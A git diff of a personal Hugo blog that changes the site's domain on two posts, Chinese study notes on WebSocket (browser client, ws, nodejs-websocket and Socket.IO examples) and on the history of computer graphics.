-socket.emit('abc','xyz')</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/websocket/>WebSocket</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/159/><span class=title>« Prev</span><br><span>计算机图形学学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/157/><span class=title>Next »</span><br><span>简单使用Element Plus组件库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log(&#34;连接中&#34;) ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"WebSocket学习笔记","item":"https://chenjunlinabc.github.io/posts/158/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"WebSocket学习笔记","name":"WebSocket学习笔记","description":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(\u0026lsquo;ws://127.0.0.1\u0026rsquo;)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080') ws.onopen = () =\u0026gt;{ console.log(\u0026quot;连接中\u0026quot;) ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =\u0026gt;{ console.log('连接失败') } ws.onmessage = (evt) =\u0026gt;{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =\u0026gt;{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读","keywords":["WebSocket"],"articleBody":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(‘ws://127.0.0.1’)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080') ws.onopen = () =\u003e{ console.log(\"连接中\") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =\u003e{ console.log('连接失败') } ws.onmessage = (evt) =\u003e{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =\u003e{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读\nWebSocket.protocol属性可以返回服务端选中的子协议名字，只读\nWebSocket.extensions属性可以返回服务端已选择的扩展值，只读\nWebSocket服务端实现（node的ws模块）\n安装ws模块\nnpm install ws\nserver.js\nconst WebSocket = require('ws') // 导入模块 const WebSocketServer = WebSocket.Server const wsmain =new WebSocketServer({ port: 8080 }) wsmain.on('connection',function(ws){ console.log('客户端已连接') ws.on('message',function(message){ console.log(`客户端发送的数据:${message}`) ws.send('欢迎连接该ws服务端') ws.send(message) }) }) node server.js\n这样服务端可以接收到客户端发送的数据，服务端也可以主动给连接中的客户端发送数据\n除了ws模块外，还有nodejs-websocket，Socket.IO，µWebSockets\nnodejs-websocket搭建服务端\n安装\nnpm install nodejs-websocket\nserver.js\nconst ws = require(\"nodejs-websocket\") const server = ws.createServer(function (ws) { ws.on(\"text\", function (str) { console.log(str) ws.sendText('hallo word') }) ws.on(\"close\", function (code, reason) { console.log(\"客户端已经关闭连接\") }) }).listen(8080) app.js\nconst ws = new WebSocket('ws://localhost:8080') ws.onopen = () =\u003e{ console.log(\"连接中\") ws.send('hallo word') // 向服务端发送数据 const obj = { name: 'root', age: 20, pass: '123456', email: 'a@xiaochenabc123.test.com', key: 'hallo word' } const data = JSON.stringify(obj) ws.send(data) // 发送json数据 } ws.onerror = () =\u003e{ console.log('连接失败') } ws.onmessage = (message) =\u003e{ console.log('连接成功，正在获取数据') const isJson = (str) =\u003e { try{ if(typeof JSON.parse(str) == 'object'){ return true } }catch (e){ } return false } if(isJson(message.data)){ console.log(JSON.parse(message.data)) }else{ console.log(message.data) } } ws.onclose = () =\u003e{ console.log('连接已关闭') } Socket.io基于WebSocket协议，提供HTTP长轮询（当前客户端不支持WebSocket时）和自动重新连接（提供心跳机制，定期检查连接，连接断开时会进行重新连接操作），和ws模块不同的是，Socket.io提供客户端功能，实质上Socket.io使用的是WS模块提供的WebSocket服务（默认情况），也是可以使用µWebSockets.js提供的WebSocket服务\n服务端\nnpm install socket.io\nserver.js\nimport { Server } from 'socket.io' const io = new Server(3000) io.on('connection', socket =\u003e { console.log('已成功连接') // 服务端给客户端发送消息 console.log('正在发送消息') socket.emit('hallo','word') console.log('发送消息完成') // 服务端接收消息 socket.on('abc',(arg) =\u003e { console.log(arg) }) socket.on('disconnect', () =\u003e { console.log('连接已断开') }) }) 客户端\nnpm install socket.io-client\nclient.js\nimport { io } from 'socket.io-client' // const socket = io() const socket = io('ws://127.0.0.1:3000') // 客户端接收消息 socket.on('hallo',(arg) =\u003e{ console.log(arg) }) socket.emit('abc','xyz') ","wordCount":"289","inLanguage":"en","datePublished":"2022-11-05T14:00:00Z","dateModified":"2022-11-05T14:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/158/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>WebSocket学习笔记</h1><div class=post-meta><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/WebSocket%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）</p><p>WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）</p><p>WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源</p><p>WebSocket客户端配置</p><p>WebSocket构造函数，用来创建WebSocket实例</p><p>const ws = new WebSocket(&lsquo;ws://127.0.0.1&rsquo;)</p><p>WebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）</p><p>WebSocket.onopen是指定连接成功后执行的回调函数</p><p>WebSocket.onerror是指定连接失败后执行的回调函数</p><p>WebSocket.onclose是指定连接关闭后执行的回调函数</p><p>WebSocket.onmessage是指定从服务器获取信息时执行的回调函数</p><p>可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer</p><p>客户端配置例如：</p><pre><code>const ws = new WebSocket('ws://localhost:8080')
+ws.onopen = () =&gt;{
+    console.log(&quot;连接中&quot;)
+    ws.send('hallo word') // 向服务端发送数据
+}
+ws.onerror = () =&gt;{
+    console.log('连接失败')
+}
+ws.onmessage = (evt) =&gt;{
+    console.log('连接成功，正在获取数据')
+    if(typeof evt.data === String){
+        console.log('hallo'+evt.data)
+    }else if(evt.data instanceof ArrayBuffer){
+        let data = evt.data
+        console.log('数据：'+data)
+    }
+    ws.close()  // 手动关闭连接
+}
+ws.onclose = () =&gt;{
+    console.log('连接已关闭')
+}
+</code></pre><p>还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕</p><p>WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读</p><p>WebSocket.protocol属性可以返回服务端选中的子协议名字，只读</p><p>WebSocket.extensions属性可以返回服务端已选择的扩展值，只读</p><hr><p>WebSocket服务端实现（node的ws模块）</p><p>安装ws模块</p><p>npm install ws</p><p>server.js</p><pre><code>const WebSocket = require('ws') // 导入模块
+const WebSocketServer = WebSocket.Server
+const wsmain =new WebSocketServer({
+    port: 8080
+})
+wsmain.on('connection',function(ws){  
+    console.log('客户端已连接')
+    ws.on('message',function(message){
+        console.log(`客户端发送的数据:${message}`)
+        ws.send('欢迎连接该ws服务端')
+        ws.send(message)
+    })
+    
+})
+</code></pre><p>node server.js</p><p>这样服务端可以接收到客户端发送的数据，服务端也可以主动给连接中的客户端发送数据</p><p>除了ws模块外，还有nodejs-websocket，Socket.IO，µWebSockets</p><p>nodejs-websocket搭建服务端</p><p>安装</p><p>npm install nodejs-websocket</p><p>server.js</p><pre><code>const ws = require(&quot;nodejs-websocket&quot;)
+const server = ws.createServer(function (ws) {
+    ws.on(&quot;text&quot;, function (str) {
+        console.log(str)
+        ws.sendText('hallo word')
+    })
+    ws.on(&quot;close&quot;, function (code, reason) {
+        console.log(&quot;客户端已经关闭连接&quot;)
+    })
+}).listen(8080)
+</code></pre><p>app.js</p><pre><code>const ws = new WebSocket('ws://localhost:8080')
+ws.onopen = () =&gt;{
+    console.log(&quot;连接中&quot;)
+    ws.send('hallo word') // 向服务端发送数据
+    const obj = {
+        name: 'root',
+        age: 20,
+        pass: '123456',
+        email: 'a@xiaochenabc123.test.com',
+        key: 'hallo word'
+    }
+    const data = JSON.stringify(obj)
+    ws.send(data) // 发送json数据
+}
+ws.onerror = () =&gt;{
+    console.log('连接失败')
+}
+ws.onmessage = (message) =&gt;{
+    console.log('连接成功，正在获取数据')
+    const isJson = (str) =&gt; {
+        try{
+            if(typeof JSON.parse(str) == 'object'){
+                return true
+            }
+        }catch (e){
+
+        }
+        return false
+    } 
+    if(isJson(message.data)){
+        console.log(JSON.parse(message.data)) 
+    }else{
+        console.log(message.data)
+    }
+}
+ws.onclose = () =&gt;{
+    console.log('连接已关闭')
+}
+</code></pre><hr><p>Socket.io基于WebSocket协议，提供HTTP长轮询（当前客户端不支持WebSocket时）和自动重新连接（提供心跳机制，定期检查连接，连接断开时会进行重新连接操作），和ws模块不同的是，Socket.io提供客户端功能，实质上Socket.io使用的是WS模块提供的WebSocket服务（默认情况），也是可以使用µWebSockets.js提供的WebSocket服务</p><p>服务端</p><p>npm install socket.io</p><p>server.js</p><pre><code>import { Server } from 'socket.io'
+const io = new Server(3000)
+io.on('connection', socket =&gt; {
+    console.log('已成功连接')
+    // 服务端给客户端发送消息
+    console.log('正在发送消息')
+    socket.emit('hallo','word')
+    console.log('发送消息完成')
+    // 服务端接收消息
+    socket.on('abc',(arg) =&gt; {
+        console.log(arg)
+    })
+    socket.on('disconnect', () =&gt; {
+        console.log('连接已断开')
+    })
+})
+</code></pre><p>客户端</p><p>npm install socket.io-client</p><p>client.js</p><pre><code>import { io } from 'socket.io-client'
+// const socket = io()
+const socket = io('ws://127.0.0.1:3000')
+// 客户端接收消息
+socket.on('hallo',(arg) =&gt;{
+    console.log(arg)
+})
+socket.emit('abc','xyz')</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/websocket/>WebSocket</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/159/><span class=title>« Prev</span><br><span>计算机图形学学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/157/><span class=title>Next »</span><br><span>简单使用Element Plus组件库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/159/index.html b/posts/159/index.html
index e80f9361..c5d60879 100644
--- a/posts/159/index.html
+++ b/posts/159/index.html
@@ -19,8 +19,8 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
-1999年，Nvidia，Gefprce 256 GPU"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/159/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机图形学学习笔记"><meta property="og:description" content="计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
+1999年，Nvidia，Gefprce 256 GPU"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/159/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机图形学学习笔记"><meta property="og:description" content="计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
 1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器
@@ -41,7 +41,7 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
-1999年，Nvidia，Gefprce 256 GPU"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/159/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-08T12:00:00+00:00"><meta property="article:modified_time" content="2022-11-08T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机图形学学习笔记"><meta name=twitter:description content="计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
+1999年，Nvidia，Gefprce 256 GPU"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/159/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-08T12:00:00+00:00"><meta property="article:modified_time" content="2022-11-08T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机图形学学习笔记"><meta name=twitter:description content="计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
 1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器
@@ -62,8 +62,8 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
-1999年，Nvidia，Gefprce 256 GPU"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"计算机图形学学习笔记","item":"https://xiaochenabc123.github.io/posts/159/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"计算机图形学学习笔记","name":"计算机图形学学习笔记","description":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026amp;T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU","keywords":["计算机图形学"],"articleBody":"计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科\n通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等\n图形学历史\n1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器\nWhirlwind电子管计算机设计之初是美国空军训练飞行员，半自动地面防空系统（SAGE）\n应用CRT和光笔\n1958年，双人网球\n1960年，William Fetter（威廉﹒费特），创造‘计算机图形学’名词，计算机图形学先驱\n1961年，史帝夫﹒罗素（Steve Russell），spacewar游戏\n1962年，皮埃尔·贝塞尔（Pierre Bézier），贝塞尔曲线（Bézier curve），绘制曲线\n1962年，伊凡·苏泽兰（Ivan Sutherland），Sketchpad绘图应用，计算机图形学之父\n1963年，Force, Mass and Motion，https://techchannel.att.com/play-video.cfm/2012/8/20/AT\u0026T-Archives-Force-Mass-Motion\n1968年，Ivan Sutherland创造“达摩克里斯之剑”头盔显示器\n1968年，Arthur Appel 提出光线投射算法\n1973年，Bui Tuong Phong，发明phong shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 